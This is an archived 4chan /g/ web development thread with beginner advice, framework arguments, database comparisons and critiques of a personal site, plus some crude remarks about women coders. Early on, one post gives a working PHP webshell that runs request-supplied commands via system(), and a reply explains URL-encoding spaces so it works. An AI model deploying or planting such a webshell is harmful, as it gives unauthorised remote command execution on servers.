[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
/wdg/ - Web Development General
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 255
Thread images: 26
File: 1456449140972.png (868 KB, 822x552) Image search: [Google]
1456449140972.png
868 KB, 822x552
Old thread >>53585319

> Discord
https://discord.gg/0qLTzz5potDFXfdT

>IRC Channel
#/g/wdg @ irc.rizon.net
Web client: https://www.rizon.net/chat

>Learning material
https://www.codecademy.com/
https://www.bento.io/
https://programming-motherfucker.com/
https://github.com/vhf/free-programming-books/blob/master/free-programming-books.md
https://www.theodinproject.com/
http://www.freecodecamp.com/
http://www.codewars.com/
>Crockford on Javascript
https://www.youtube.com/playlist?list=PL7664379246A246CB

>Frontend development
https://github.com/dypsilon/frontend-dev-bookmarks

>Backend development
https://en.m.wikipedia.org/wiki/Comparison_of_web_application_frameworks

>Useful tools
https://pastebin.com/q5nB1Npt/
https://libraries.io/ - Discover new open source libraries, modules and frameworks and keep track of ones you depend upon.
https://developer.mozilla.org/en-US/docs/Web - Guides for HTML, CSS, JS, Web APIs & more.
http://www.programmableweb.com/ - List of public APIs

>NEET guide to web dev employment
https://pastebin.com/4YeJAUbT/

> How to get started
http://www.youtube.com/watch?v=pB0WvcxTbCA
Good videos on the channel too
https://www.youtube.com/channel/UCVTlvUkGslCV_h-nSAId8Sw

>cheap vps hosting in most western locations
https://lowendbox.com
https://www.digitalocean.com/
https://www.linode.com/
https://www.heroku.com/
>>
first
>>
>>53615259
>Web Development
wake me up
>>Learning material
>https://www.codecademy.com/
>http://www.freecodecamp.com/
can't wake up
>>
You should add Derek's channel
https://www.youtube.com/user/derekbanas
>>
This is a very basic webshell.

<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST["cmd"]);
system($cmd);
echo "</pre>$cmd<pre>";
die;
}
?>


it works like this: shell.php?cmd=<command>

the problem with it is that i cant have any whitepace in my command, or i get an 404.

how can i make it work with whitepace?
>>
is this thread legit or is my browser memeing me? I can't find a new one, and here it says last post 8 hours ago.
>>
>>53616645
Shit nvm, I think 4chins time got fucked or something.

Ok, I have a question. My school gave all of us hosting and we had to do something with wordpress - anyway, I'm wondering is it possible to change my domain name or am I stuck with what I've got? I'm still new to WP and don't quite understand what are those settings where you can change an address for. I didn't get it from the docs desu.
>>
>>53616560
Are you also able to use $_GET[''] with that? Just curious.
>>
>>53616560
use %20 instead of spaces in your url

oh and by the way, tell me where you upload it so i can test it for you :) ta muchly!
>>
>>53616688
If your hosting doesn't purposely disallow it (a lot of free/shared hosts do on those pricing tiers), then of course you could configure the relevant records on your purchased domain to point to said hosting.
>>
File: FCC.jpg (231 KB, 977x791) Image search: [Google]
FCC.jpg
231 KB, 977x791
>>53615259

>FreeCodeCamp

Do we all agree that this does not belong in the OP?
>>
you guys know that running "install_wordpress.sh" is not really development right?
>>
>>53618124
>Girls Who Code
As if any of the girls who code are even half that attractive. Lesbihonest here, they're most fat and unattractive.
>>
>>53615800
>>53618124
so dont use freecodecamp?
>>
>>53618124
Tbh, the beginner-intermediate js stuff and the projects are actually pretty decent.
>>
>>53618483
If shit like this helps get women into coding, I'm all for it. I'd love for my job to be less of a sausage-fest.
>>
>>53618958
Might as well be a sausage fest if the women are wildebeests.
>>
>>53618958

Get a gf/wife

You'll cherish the daily sausagefest with no stupid cunts to shit up your day
>>
>>53618958
It won't. If you want to code, then you code. A sign or secret no-girls allowed club didn't get me started.
>>
>>53618483
There's only a handful of girls in Software Dev at my uni and they're all fine. Iunno where you live but it's not IT's fault.
>>
File: image.png (743 KB, 620x1024) Image search: [Google]
image.png
743 KB, 620x1024
Just started using Node/NPM/etc.

Used to use PHP include statements to share headers and footers and stuff between pages. What's the JS equivalent to this?
>>
>>53620191
You would be doing the includes in your templating engine. I'm assuming you're using Jade for this.

http://jade-lang.com/reference/includes/

But for me at least, I'm using AngularJS like normal and use ng-include for partials. Good luck, (M)EAN is fun as fuck yo.
>>
>>53620191
Templating languages. I'd recommend something like nunjucks https://mozilla.github.io/nunjucks/ since its basically vanilla html/css/js but you can pass variables and stuff from your server to your rendered pages.
>>
>>53616560
Looks pretty secure senpai
>>
File: 1454086689190.jpg (600 KB, 1484x2158) Image search: [Google]
1454086689190.jpg
600 KB, 1484x2158
Not sure if this is the right thread to ask this, but recently I've been bored to shit in my college, getting bachelor's this year in logistics.

I want to start a dev career meanwhile as a backup plan for now, possibly as main career choice in close future.

I learned basics of Turbo Pascal and have basic understanding of Visual C++ and know how to read and edit HTML code, not able to code on my own in notepad or shit.

I'm interested the most in becoming an android dev or a front-end dev, more the first as I pick interest in android stuff. I installed Android Studio for shit and giggles yesterday and screwed around and noticed it looks awfully lot like Visual Basic C++ in use and I think I could go with it.

My question is, where should I start? Should I go with Android Studio and learn Java meanwhile or focus on Java and then go for Android Studio? I wouldn't be able to recognize Java code for shit even if it'd be put right in front of my face, but learning commands and general understanding of the code on the go is possible I think.

Help me pick, /g/, please. No gentoo pls
>>
>>53622778
>Turbo Pascal
Is this a pasta?
>>
File: 1449328178091.jpg (181 KB, 363x321) Image search: [Google]
1449328178091.jpg
181 KB, 363x321
>>53622839
Nope, they taught us this shit 7 or 8 years ago in technical school which is an equivalent for regular high school but with basic IT shit.

I know, it's ridiculous.
>>
Anyone have the collar image of Rasmus (creator of PHP) and the quotes that he's no idea what he's doing?
>>
>>53622862
I think that native mobile apps don't have a great future because ServiceWorker now gives the browser a lot of functionality that was in the domain of native apps. So I'd say learn webdev, HTML, CSS, JS.
>>
File: getsudo.png (66 KB, 1152x648) Image search: [Google]
getsudo.png
66 KB, 1152x648
>>53622250
>>
File: php.png (335 KB, 1280x720) Image search: [Google]
php.png
335 KB, 1280x720
>>53623097
>>
>>53623304
Thanks mate.
>>
>>53623208
Is Java Script necessary? I thought it was dying recently.

Besides, should I start with HTML (or HTML5?) or CSS or both at the same time?

Anything else for the beginner? Or put on hold other things until I get a grasp of HTML/CSS?

Thanks for replying, by the way.
>>
>>53623399
I'm not the guy you're talking to, but...

>Is Java Script necessary? I thought it was dying recently.
It's sorta dying, but in the sense that Flash Player is dying. It's on the way out, but it'll be a long time so it's worth learning.

>Besides, should I start with HTML (or HTML5?) or CSS or both at the same time?

Both at the same time shouldn't be too hard, given that they're complimentary. If you have to pick one over the other to learn first, pick HTML.

>Anything else for the beginner? Or put on hold other things until I get a grasp of HTML/CSS?
Get a hold of HTML & CSS, then move onto PHP.
>>
>>53623654
>It's sorta dying
Can I have a source or explanation on this?
>>
>>53623288
I literally kek'd
>>
>>53623654
Dumbass
>>
>>53623399
>>53623654
>JavaScript
>dying

What are you two smoking?
>>
>>53623288
Woah
>>
>>53619120
This
>>
What is considered a cool, non-trivial web project that companies like?

I don't have anything on my resume. The only things I made are a wordpress theme from scratch, web app for storing bookmarks in categories with a nice UI, a responsive project with Foundation, some ten-lines-of-code YT API for showing the latest video on the whole YT, and a few web scrapers with Python. I'll make a few social networking websites with Rails (as a parts of the tutorials while learning) and then make something more advanced with it, using a couple of APIs.

So I guess this is almost nothing. I probably enjoy design way more than programming, I always spend more time making it pretty than useful.

Tips?
>>
Anyone who Ember.js here?
>>
>>53624048
Clone a popular tool, e.g. Trello, or contribute to open software on GitHub - companies only care about GitHub.
>>
For people who are looking for the best:

php: symfony > phalcon > laravel

node: nodal > meteor > koa

python: django > flask > web2py

db: cassandra > postgresql > mariadb > mongodb

front: react > angular > jquery

deploy: ansible > puppet > chef

distro: fedora > arch > ubuntu
>>
>>53624048
You have a more substantial portfolio than I had when I got a job. just apply for shit and see what you get.
>>
>>53623654
>JavaScript is dying
>learn PHP!
kek
>>
>>53624224
Nice opinions

>node: nodal > meteor > koa
lmao meteor. Opinions discarded.
>>
>>53624122
hiya!
>>
>>53624335
Nice, what are you working on?
Myself I'm working on a simple project management webapp, like Asana.
>>
Where my ASP.NET fags at?
>>
>>53624375
i've actually been learning elm recently which is a pretty nice change from javascript

i can't wait for someone to come along and make an ember.elm or something
>>
who here solarized
>>
>>53624224
Cassandra or PostgreSQL?
>>
>>53624511
Both are fucking great, just try them.
>>
>>53624398
Right here being all excited for vnext.
>>
File: css problem.jpg (220 KB, 1567x791) Image search: [Google]
css problem.jpg
220 KB, 1567x791
Can someone help with pic related?

Damn, the problem is probably stupid, but I can't fix my post cards so that they get aligned with a big post. You can see that there is a whitespace at the edges of that container highlighted in blue. The space in the middle of them should somehow be a little bigger I guess, idk. I've been playing with width percentages but that doesn't fix it.
>>
Working on a image/audio/video/PDF upload thumbnailer in Golang with emphasis on performance. Form validation and parsing is already done. Can start on the file metainfo validation and actual thumbnailing. Colleague is working on writing more ffmpeg bindings for thumbnailing and meta extraction.
>>
>sitting at work creating unit tests and actively trying to break the thing I've just built.

TDD isn't just a meme
>>
>>53625068
If you are creating unit tests for already existing code, then it is not TDD.
>>
>>53625042
how do you empashize performance? Srsly I have no idea how I'd do something like that. How much lines of code is that? I always just make a basic form and it takes me like 10 lines tops. I can't even imagine how can a file upload and validation be complicated of a task, kill me. Fuck my PHP course I guess.
>>
>>53625185
TDD is the new waterfall. As if I'm going to actually write tests before I even understand the thing I'm building. Unless it's a 'hello world' script.
>>
>mysqli_real_actual_totally_legit_no_foolin_escape_string()

goddamn php. Why does this shit language still exist?
>>
>>53625315
Why does Perl still exist?

Nobody's forcing you to use it.
>>
>>53625190
The actual form parsing is not the main issue, of course. What is is extracting metadata and the actual thumbnailing.
1) Write in a non-shit language: C, C++, Go, or JS (arguably less so, because writing bindings for Node is a horrorshow) .
2) Don't spawn swarms of subprocesses and use ffmpeg and/or ImageMagick bindings
3) Multithreading
4) Disk I/O is slow. Keep it in memory as much as possible.

As for loc, what I have now is about only 500. The file manipulation packages my colleague has written will probably amount to 0.5-1k in the end. So ~2-3k loc total in the end.

If it's any measure, the previous one we had written in Node with streaming between subprocesses was something like 2k loc.
>>
>>53625339
The difference is that nobody fucking uses pearl anymore while php is still one of the most popular web programming languages out there.
>>
>>53625371
>non-shit language
>JS
inb4 the memelords
>>
>>53625400
I agree that ES5 is complete garbage, but nobody is telling you to write in COBOL either.
>>
>>53625379
>Somebody who's never actually used php

Seriously people who seriously develop in php, have come to like it. Not love it, but its not the garbage that trendy startup ceos paint it to be.
>>
>>53625400
>>53625412
I like ES5, but in the same way I like brainfuck. Except people are willing to pay me money to write JavaScript.
>>
>>53625371
Yeah, I'll need some literature for this. No idea where to even start, we didn't learn any of that in my PHP course.

Btw, aside from this topic, I'm always intimidated when I see this amount of lines of code. I literally can't make anything with more than 200 lines. Don't know what to do when everything seems to work fine and I manage to build a whole website/application with that amount. The only time I got 1k+ lines of code is in a CSS file kek.
>>
>>53625425
Sounds like stockholm syndrome, bruh.
>>
>>53625438
I didn't really read any book on this. Just Google and consulting with more knowledgeable people.

You can start by using something other than PHP.
>>
>>53625425
People always shit on PHP, happens on a daily basis. Using JS for back-end is even way less practical than using PHP but the autists on here will always champion Node like it's the best thing since sliced bread.
>>
File: rails-django.jpg (61 KB, 728x546) Image search: [Google]
rails-django.jpg
61 KB, 728x546
Does Rails have anything Django doesn't (when you consider what is built in and the third-party libraries)?
>>
>>53625568
Yes, performance even lower than Django's.
>>
>>53625592
What if you run it on Rubinious, JRuby or some other crap like that? Honestly, I'd accept even lower performance for 20% faster development or a killer feature of some sort.
>>
>>53625694
No experience with those.
>>
>>53625694
>I'd accept even lower performance
I don't think your users would appreciate that, especially if you're developing something that will handle a large payload at any given time.
>>
>>53625727
If twitter could do it for some time...

:^)
>>
>>53625532
Well, you have to admit it's convenient to invest more time in getting gud at JS than learning yet another clusterfuckish language like PHP.

And frankly it also sounds good to not have to use apache/php/mysql.
>>
>>53625412
>>53625430
I unironically like es6 JS

And I mostly use node so I don't have to care about shitty browsers.
>>
>>53625532
>Using JS for back-end is even way less practical than using PHP
Why?
>>
>>53625839
ES6/7 is pretty nice. Especially the async/await part.
>>
>>53624224
care to explain the distro options?
>>
>>53626023
He has never experienced the joy of Gentoo and sucks corparate system D.
>>
>>53625854
Try using Node/JS with any sort of relational DB and you'll get fucked six ways to Sunday. It's not ideal for server-side intensive processing either. It's great for simple shit like Chat apps, but you're better off using something else. If you're in the "fuck PHP" brigade, choose with Python or GO.
>>
>>53626106
>Try using Node/JS with any sort of relational DB and you'll get fucked six ways to Sunday
I've used node with a mysql db and had no problems with it. What are you talking about specifically?
>>
>>53625315
nearly every single php "dev" is an expert beginner
>>
>>53626212
If you're just pulling data from the DB that is fine, but with relational DBs you're dealing with foreign keys, primary keys, joins, sub-queries etc. which aren't very practical in Node.
Most people that use Node go with Mongo, and it's a mess if your data is relational, or if you are trying to handle large amounts of data.
>>
>>53626106
>It's not ideal for server-side intensive processing either.

Couldn't Webassembly change that? I mean asm.js is already basically working with only numbers just to speed up things a lot. I imagine if Webassembly worked on the server too with V8, server-side computations might have better performance, maybe comparable or better than PHP.

Just an idea, I'm not sure about the implications. I know Webassembly is based on asm.js and asm.js is using a subset of JS, which uses basically only numbers so that it avoids type conversion and garbage collection completely at the JS engine level.
>>
>>53626273
The fuck you talking about bro
>>
>>53626106
>Python
>>
>>53626275
>compiling C/C++ to a web format for server-side
What are you smoking?
>>
>>53625727
>I don't think your users would appreciate that
I understand that Rails has pretty good latency when you serve under 100 requests/second. That is enough for most web applications and if it ever becomes not enough, I can split out parts of the application as microservices in a faster language.
>>
>>53626588
What would the difference be compare to PHP? Isn't PHP compiled from C/C++ too? Sorry if I'm saying stupid shit, I was thinking maybe Webassembly might bring some change on the server-side JS too.

If the bottleneck in JS is garbage collection and all the shit involving type conversion, object-management, then using something like asm.js/Wasm might improve performance of computations running on servers. What's different from how PHP works like right now? Enlighten me..
>>
>>53626931
>What would the difference be compare to PHP? Isn't PHP compiled from C/C++ too?
PHP is an interpreted language. The interpreter that reads your code is compiled.
>>
>>53627159
And JS is JIT-ed by the V8 engine which is compiled in C++. What's your point, what is the big difference that makes PHP more usable for big computations on the server compared to JS?

I know JS is shit for a huge workload of server-side computations, so I'm asking if anyone has any idea why Wasm wouldn't be a good idea on the server too, maybe to make JS more viable for heavier workloads.
>>
>>53626275
I don't think you understand what webassembly actually is...
>>
>>53626931
>I was thinking maybe Webassembly might bring some change on the server-side JS too.
Native Client x asm.js is the future, don't listen to this dick
>>
>>53627339
Explain why wasm wouldn't work on the server with a Node/V8 setup.
>>
>>53627408
Webassembly is for the browser, it allows programming languages be compiled to Webassembly instead having to be compiled to javascript and be limited by the browser's javascript engine.

Think about it dude
>>
>>53627445
But doesn't the V8 engine interpret JS code and JIT it for execution? So if Node runs on V8 why couldn't wasm run with Node?

> it allows programming languages be compiled to Webassembly instead having to be compiled to javascript and be limited by the browser's javascript engine

Erm, I think it allows for C/C++ to be transpiled to JS, rather, by doing exactly what it does for asm.js, that is avoiding the delays involved with garbage collection and type coercion. That's what I could gather from their Github repo.
>>
>>53627199
/dpt/s making fun of us again
>>
>>53627408
You could, you know, just use the C/C++ on the server and call them from node.js.
>>
>>53627517
so i'm gonna take the bait

You do realise you can run whatever code you want on your server, right? Why the fuck would you want to transpile C++ to JS to run on your own server when you can just use it as normal?
No wonder people call web devs retarded
>>
>>53627572
Yeah, I know that, but how the fuck would it bind with Node?
>>
>>53627529
Well it is true.
>go to meeting
>people spend 10 mins arguing what should be the color of a button
>>
>>53627597
https://nodejs.org/dist/latest-v5.x/docs/api/addons.html
>>
>>53627568
Node is C++

Look up native modules
>>
>>53627610
Stop working with retards and/or stick to backend. That's never happened to me.
>>
>>53627801
So why aren't we using more C++ on the server for stuff which needs heavy computations? It doesn't seem very common. And it might make Node a more viable choice if the stuff which involved heavy computing was offloaded to C++ modules.
>>
>>53627529
>webdev
>no money
lmao what?

Could be worse... could have to resort to teaching as a career.
>>
>>53627871
Webdev is a very broad term. It can be anything from shitty junior CSS/HTML monkey to WebGl and data visualisation using D3. Or backend, that's also webdev.

All very different things.
>>
>>53627839
Because C++ is a pain to write in.
>>
>>53627610
>>53627831

>obsession with UX
>a bad thing
>>
>>53627975
>thinking that UX is about a shitty micro-managing boss telling you to shade a button or make it bigger.

Pajeet pls go
>>
>>53627529
No money?

After 6 months of teaching yourself you can easily get a job making 40k and then 3 years later of job changes and you're at 80k+ and that's not even for the good jobs that pay 80 an hour.
>>
>>53627975
This. Nobody said it's a "programming" though. But you have to be stupid if you think it is "easy". That's why graphic/web designer exist, or even designers/front-end devs, and that is still web development then.
>>
>>53628539
And doesn't even matter if it should be called development or not, the point is that guy is making fun of designers, which is the vital thing.
>>
>>53628565
*vital thing, meant as - design of a product is a very important thing. I give up on my 4channing...
>>
>>53625315
everyone moved onto PDO like 5 years ago. not a problem.
>>
File: 1458560865009.png (12 KB, 246x200) Image search: [Google]
1458560865009.png
12 KB, 246x200
>>53628535
>After 6 months of teaching yourself you can easily get a job making 40k
>>
>>53629240
I did this and I make £28k. But that's bongmoney so that probably comes to about $40k in burgermoney.
>>
>>53628583
>>53628565
Web designers draw pretty concept art of the website, free from the constraints of the platform, good UX and reality.

Web developers make websites work and design them to actually function and have good UX.

It's like someone who draws pretty pictures of bridges vs an engineer who draws the blueprints for bridges.
>>
File: 1412887770601.jpg (618 KB, 1000x899) Image search: [Google]
1412887770601.jpg
618 KB, 1000x899
r8 personal site pls. Test for mobile too (resize window)

http://collinoswalt.github.io/
>>
>>53629556
errors in the markup, lots of inline styling.
it looks very dated.
>>
>>53629556
>$(document).ready
>at the end of the page

do you even know what it does
>>
>>53629613
I don't understand. AFAIK, the page can still be rendering after the script is executed
>>53629583
I'm just lazy, I know about the inline styling. What do you mean about errors in the markup?

Also how do you mean dated?
>>
File: 1456060968740.jpg (55 KB, 312x312) Image search: [Google]
1456060968740.jpg
55 KB, 312x312
>>53629556
>3 links to navigate the whole site
>uses a hamburger menu
>fucking buttons.js

>un-minified jQuery-dependent script which is present on every page but which only affects elements on one page, and which accomplishes something that could be handled server-side.

>no ServiceWorker

>nearly 100kb pageload

HOLY SHIT FUCKING KILL YOURSELF THIS SITE IS SO FUCKING BAD
>>
>>53629702
dated as in it looks like made in 2002. it's just not pretty to look at.

you don't define a doctype and some other stuff
https://validator.w3.org/nu/?doc=https%3A%2F%2Fcollinoswalt.github.io%2Findex.html
>>
>>53629556
>
<div onclick="window.location='about.html'" class="category">About</div>


enjoy searchengines not finding anything.
>>
File: 1412888255599.jpg (357 KB, 1600x900) Image search: [Google]
1412888255599.jpg
357 KB, 1600x900
>>53629753
Well that seems like a bit of an over-reaction.

1. only 3 links are needed, there's only 3 parts to my site
2. Hamburger menu is only for mobile, which is the standard for 99% of websites today
3. buttons.js just makes it easer for lazy me to copy and paste the first 10 or so lines from each file to the next.
4. I'll fix the jquery code at the bottom of each file, but why would I pass off something so simple to server-side when that would require me to migrate from github pages? Is there a design principle I'm unaware of here?
5. What's a service worker?
6. most of that pageload is from 88kb of jquery, which afaik IS minified.

I'm open to criticism, but maybe keep in mind that this isn't /r9k/?
>>
>>53629803
do yall memorize your stack install commands?

I'm having a lot of trouble remembering everything and this is my 3rd LEMP configure this month.
>>
File: 1412888418300.jpg (887 KB, 1180x1240) Image search: [Google]
1412888418300.jpg
887 KB, 1180x1240
>>53629803
I'm not really worried about that? Why would I care about google finding my portfolio? Who's looking for me?
>>
>>53629856
possible employers.
>>
>>53629843
kek is this /p/
>rate and comment pls
>it's shit because x
>OH RLY ? IMMA EXPLAIN YOU WHY IT'S ACTUALLY GOOD YOU FAG BACK TO >>>/trash:
>>
File: 1412887981424.jpg (426 KB, 850x1111) Image search: [Google]
1412887981424.jpg
426 KB, 850x1111
>>53629774
That's a really helpful tool, thanks!

I agree, looking at it again, that it looks a bit dated. I think it's mostly the header... Also the >> before each post was meant to copy 4chan, but thinking now, it looks like it's trying to copy some shitty 90s BBS or something haha. I'll rethink the design, thanks.
>>
>>53629866
While I wouldn't represent my response in such a hyperbolic tone, I admit that I was careful not to outright reject criticism because I don't like it. Some of your criticism is right, about the needless code at the bottom, but most of it just doesn't make any sense to me? Is there a problem with a hamburger menu on a mobile site? Most if not all mobile sites do this now. And why would I need more than 3 links to navigate when there's only 3 pages? Also I didn't understand some of your points, like about a serviceworker or passing off a simple calculation to serverside. Can you explain a bit more?
>>
>>53629556
>Eliminate render-blocking JavaScript and CSS in above-the-fold content
>Black on White is readable but not optimal, go Grey on White.
>SEO is fucked
>Fonts dont work together

Should start there desu
>>
File: 1412888453608.jpg (728 KB, 682x900) Image search: [Google]
1412888453608.jpg
728 KB, 682x900
>>53629935
1. I didn't really understand any of this. Do you mean the menu and how I'm using JS to render the menu?
2. Will do
3. Will look into, but I don't know anything about SEO, nor do I expect it to actually matter since I don't have any faith in myself to be marketable lol
4. I wanted to use monospace so I could uniformly attach some styling, but I'm removing the >>, so I'll probably just make everything Arial.

Thanks
>>
>>53629998
>understand
https://developers.google.com/speed/pagespeed/insights/?url=http%3A%2F%2Fcollinoswalt.github.io%2F

>I don't know anything about SEO
Should probably learn, it's important for web devs to at least grasp the notion of SEO. It's extremely useful too, as ranking means the world to companies. Not really about being marketable, but reachable 2bh.

You could still play with fonts, it's yet another important ability in front end to at least be able to match up some google fonts.
>>
>>53630056
Yeah I'm not entirely sure if I want to be a web dev or not. Sort of unsure about what I wanna do in the future. I like making webapps mostly, and messing around with static pages is fun, but idk if I'd want to do it for a living, but I'll look into it anyways.
>>
>>53629843
>1. only 3 links are needed, there's only 3 parts to my site
3 links can fit on a mobile screen.

>2. Hamburger menu is only for mobile, which is the standard for 99% of websites today
They're standard because they're easy, and a lot of developers are lazy. That doesn't automatically make them good UX, they consistently perform like shit in usability tests. And you don't say "only for mobile", saying "mobile internet" these days is kinda dumb, like saying "color television", mobile-first is not a meme.

>4. I'll fix the jquery code at the bottom of each file, but why would I pass off something so simple to server-side when that would require me to migrate from github pages? Is there a design principle I'm unaware of here?
I forgot it was gh-pages. I assumed you weren't a poor.

>5. What's a service worker?
https://www.youtube.com/watch?v=SmZ9XcTpMS4

>6. most of that pageload is from 88kb of jquery, which afaik IS minified.
You don't need an 88kb of jQuery for what you're doing. Use vanilla javascript for that shit.
>>
>>53630099
They're still useful skills even if you don't stay a web dev. So definitely work on them, don't think of it as learning skills you'll never use.
>>
File: 1412887850471.jpg (779 KB, 675x900) Image search: [Google]
1412887850471.jpg
779 KB, 675x900
>>53630107
1. Alright, I'll try to find somewhere to put them, but I think it would make the mobile site look like a squished desktop site

4. But still, why would you pass off something so simple to the server? It sounds like a waste of effort.

5. I don't see why I'd need something so complicated on such a simple static page. That sounds like a huge waste of time for what I'm doing here.

6. I agree, I just like jQuery because it makes everything easier (vanilla javascript is shit)
>>
>>53624398
>>53624663
What's to be excited about when my workplace projects will continue using 4.5 and MVC4/5 forever?
>>
>>53629556
>jquery
0/100.
>>
>>53630220
>6. I agree, I just like jQuery because it makes everything easier (vanilla javascript is shit)
The DOM is the api for the browser, which is shit.

Javascript is the best language ever.
>>
File: 1429731795371.png (137 KB, 300x200) Image search: [Google]
1429731795371.png
137 KB, 300x200
How many of you are actually employed? Do you like your job? Do you get paid enough?
>>
>>53630371
I'm not employed in web dev yet. Currently applying to places. I know far more than the standard entry-level dev so I hope to get one of those spots.

My current job is comfy, but not related and it pays next to nothing because any retard could do it.
>>
File: 1412888686881.jpg (386 KB, 1150x1254) Image search: [Google]
1412888686881.jpg
386 KB, 1150x1254
K so I fixed the errors (which is weird to me, since "errors" don't actually affect the output of the markup. It seems to me that an HTML "error" is just a stylistic choice for code?)

Removed some of the styling, too. Now it all feels very very empty to me. Like it may as well be RMS's site, with almost no CSS at all. Like there's no self expression in this site at all
>>
Would it be bad to put VB. NET and Java on my resume if I haven't used them in the last 10 years and can barely manage to get out a "Hello, World" now?

I did write a bot in VB .NET a few months ago so I think that's a safe on to add, I'm just not sure about Java.
>>
>>53630371
Yes
Yes
>>
>>53627839

That was actually the point all the long... Not this React bullshit. With all the politics surrounding UI browser based development right now, JavaScript sometimes feels like it's more useful for selling tshirts than writing code.

Perhaps this Webassembly thing is a good idea... The React and Angular brigade can then fuck off to some new, insipid unicorn language, with a lovely logo and convoluted type system. Meanwhile, sane developers can reclaim JavaScript. Without all the "Reactors", at it's base, JavaScript is a really good language.
>>
>>53630517
go ahead, it should come back to you easily enough as long as you've still programmed in the last 10 years. just get up to date on what's popular in vb and java
>>
>>53630517
>VB. NET
Good lord why
>>
>>53630649
It was one of the few programming languages taught at my highschool.
>>
>>53629926
I'll help you when I get home anon.
>>
>>53629556
How does your book progress thing work?

I can't imagine you manually record total pages you read and put it in
>>
>>53630725
That's exactly what I do. Same way I make blog posts, I just edit the html file.
>>
>>53630753
Yeah, that part is really unnecessary in my opinion.
>>
>>53625568
Speaking of, what is the go-to Rails clone for Node? (Sails.js looks dead.)
>>
Best React tutorial? I need to learn Redux and whatever else needed to build a full SPA against a backend API
>>
>>53630856
I can't really think of any other way to do it on github pages.
>>
>>53630574
Well, I'm kinda hyped about Wasm, though I'm not sure which one of these will happen:

- either more devs will ignore JS and just transpile from C/C++ into it, if they need heavy stuff to run on a webpage

- or JS gradually evolves to the point where transpiling becomes less necessary (for example, ES7 is adding typed objects, which I imagine will speed up things a bit, if type conversion is bypassed at JIT compilation time, etc) -- the scenario in which JS is gradually becoming the C++ of the web by adding more features (without the craziness of C++) -- except it will still be kept sandboxed and unable to make system calls and stuff which can do system damage, for obvious reasons
>>
Should I even list previous jobs on a web development resume that have nothing to do with web development?

Should I create an extra category at the bottom that says like "Previous jobs" or something?

I don't want to put professional experience when military and loss prevention isn't even related.
>>
>>53623288
It's as if lord Rasmus had coded it himself.
>>
When I use typescript to compile modules, to I HAVE to use a loader such as System.js with it, or can I just bundle everything into one fuckhuge file?
>>
>>53631068
Mention them if you want, but don't fill your resume with stuff on it.
>>
=> PHP <= for backend ;)
>>
>>53623304
accurate.

>>53623399
not accurate. JS is many hipsters' only programming language b/c/ node.js

pick up a good book on C and read the computer science lessons as you learn practical programming in JS/PHP. start with PHP, JS is way too expressive and you'll be doing retarded things until you learn how to structure a program (PHP functional or object-oriented style)
>>
>>53631139
You can do either.
>>
>>53631392
But what is the advantage of a runtime loader then? Seems to just increase first load times by a ton because you have to make multiple requests, and you can only start with the second layer after the first actually succeeds.
>>
>>53631409
Selective and dynamic loading. You probably don't need to load all the modules in all scenarios. Request count does not matter with HTTP/2 and loading is asynchronous.
>>
>>53631631
But does HTTP/2 matter in a world where people just can't just using their ancient browsers?
>>
>>53631654
Do the retards using ancient browsers matter?
>>
>>53631700
Not to me. But muh boss.
>>
>>53631719
Tell your boss, he's a faggot.
>>
>>53631753
In a few years.
I can't wait.
>>
>>53623399
>I thought it was dying recently
It has never been more alive honestly. Thanks to Node.js
>>
what would be a good commenting system witout javascript just php mysql?
>>
>>53629926
kill yourself you pretentious fuck
>>
So I am thinking of creating some web application in Java. Any recommended Java web frameworks?
>>
>>53630952
I mean that the whole idea is unnecessary. I don't know who would be interested in that desu.
>>
>>53629856
Isn't that the whole point of your site? For people to find you?
>>
>>53624224
Nodal is completely insignificant. Too young. Express is currently the best option, koa 2.0 looks amazing but will take time to mature.
>>
Are there any tools out there that will automatically test my site for stuff like SQL injection? Or will I have to learn how to do it and test it manually?
>>
yeah its called a pen tester
>>
Thanks Pajeet
>>
>>53633403
Express had some scary holes in its documentation last I checked
>>
Laravel is POORLY DOCUMENTED and the code changes EVERY FUCKING VERSION.

So I wonder what else can I use that isn't:

>Poorly documented
>Flawed in design (like codeigniter)
>>
I want to change my header from something like
Work
to
> Work
(but not green texted and only change to the >work when the screensize is a certain size like below 600px)

how can I do it?
>>
how do you call a controller method with an arguement from the view via an ajax call? never used ajax before and it's a bit daunting
>>
what do you mean by a controller method?> what framework
>>
>>53624593

They both are great, but it all depends on what you're trying to solve. For one, Cassandra is excellent for heavy write loads, and read loads that you're able to plan in advanced for in your schema. Additionally, as far as CAP theorem goes, cassandra focuses on AP. At scale, you're really only looking to query by primary key (and you'd generally split your data by using a composite primary key).

Cassandra is a great highly available, eventually consistent database.

PostgreSQL on the other hand is a more traditional SQL database with a lot more features. Way more powerful indexing support, more advanced datatypes, aggregation support, etc... For HA, Cassandra is generally run in the master/many read-slave set-up. Even then, Cassandra's replication tools are very far behind compared to other databases (like MongoDB). Getting MongoDB replication setup takes minutes w/ Replica Sets.

Generally, for most usecases you'd start here. You do not need to use cassandra unless you're storing hundreds of millions (to billions) of records every month, and know in advanced how these rows will be written and read. Additionally, Cassandra scales horizontally way better. At this point you can just tack on more nodes, and it'll under most circumstances work.


Anyways, use the right tool for the job. Don't use cassandra unless you need to. Cheers.
>>
>>53630371

Yes. And yes. I get paid way more than enough.
>>
>>53633294
Spring + Jackson
>>
>>53627256

Wasm's biggest selling point is that you can run code at nearly native speeds in a sandboxed VM. You really don't need this on the server. If you have something in C++, why compile it to Wasm to then run in a VM (at half the speed) when you can just compile it and run it on the metal?
>>
>>53638170
Don't. As much as I hate shitting on people's language choices, web development using java is an abysmal mess.

Hell, I'd rather write shit in PHP than deal with Java's bloat.

But ideally, I'd just use Python.
>>
>>53638197
>bloat
Meme.

PHP and Python (django) are both terrible for backend. People claim they are good, but working at least a year in all 3, I know that java leads to the least work/ugliness. Java may become overengineered, but PHP and Python quickly turns into spaghetti.

Anyways, the original guy asked for web frameworks in Java.
>>
Anyone want to mentor me? I want to be better, and help would be amazing.
>>
>>53638308

